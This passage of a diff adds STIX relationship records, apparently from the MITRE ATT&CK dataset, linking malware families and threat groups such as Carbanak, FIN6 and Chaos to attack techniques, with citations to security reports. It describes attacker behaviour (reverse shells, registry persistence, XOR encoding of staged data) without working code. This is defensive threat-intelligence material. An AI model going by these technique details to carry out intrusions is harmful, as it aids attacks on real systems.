"2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75", + "source_ref": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "modified": "2019-08-12T19:47:54.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use netstat -ano to display active network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--c7047518-c63f-41b5-a803-1ed54066a62e", + "source_ref": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090", + "modified": "2019-07-24T19:30:41.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the computer name, OS version, and default language identifier.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) launches a shell to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--03a73f0c-218f-4ebf-81d2-88e2c8e9b883", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute ver, systeminfo, and gpresult commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information about the host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ed1aa5fa-7f0e-4d87-b3f5-7b50ab01e34b", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b9c05069-a05f-4b74-9b4d-275c64f2e124", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4d6b8bca-ad81-41d6-8b4e-194ddf04d3dd", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.140Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) collects and sends system information to its C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--128eb6e8-d1a7-4ff6-85e6-a68cfea3298e", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1aa10371-6473-416a-8b8b-17c36f700233", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.", + "source_name": "ESET Sednit July 2015", + "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener. [FIN6](https://attack.mitre.org/groups/G0037) has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--64e3196b-50c6-47d9-8841-1b7902a1546a", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[DustySky](https://attack.mitre.org/software/S0062) scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Gazer](https://attack.mitre.org/software/S0168) logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) deleted the DLL dropper from the victim\u2019s machine to cover their tracks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--88852c38-9aeb-47f4-be63-dc09b8583155", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Felismus](https://attack.mitre.org/software/S0171) checks for processes associated with anti-virus vendors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Gazer](https://attack.mitre.org/software/S0168) identifies a proxy server if it exists and uses it to make HTTP requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--59543467-938a-4528-961d-a539f0a5618b", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) C2 traffic is encrypted using bitwise NOT and XOR operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7feb6ceb-8a7c-45a9-902a-9b9c2c9a5e2c", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT37](https://attack.mitre.org/groups/G0067) uses HTTPS to conceal C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1e363612-b503-47b2-b697-daf75ef3740a", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.478Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has detached network shares after exfiltrating files, likely to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) employs the same encoding scheme as [SPACESHIP](https://attack.mitre.org/software/S0035) for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f9669551-29f8-4aaf-83b9-50e541bbdced", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used VBS, VBE, and batch scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in module for port scanning.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--01a1c2f4-ccb3-4238-9c9c-d6ca3a098ed9", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d0cd5f13-7e44-4728-98df-6e832f5d54dc", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. [Hydraq](https://attack.mitre.org/software/S0203)'s backdoor also enables remote attackers to modify and delete subkeys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--541855dd-0249-4f63-8e95-0024f760484e", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + 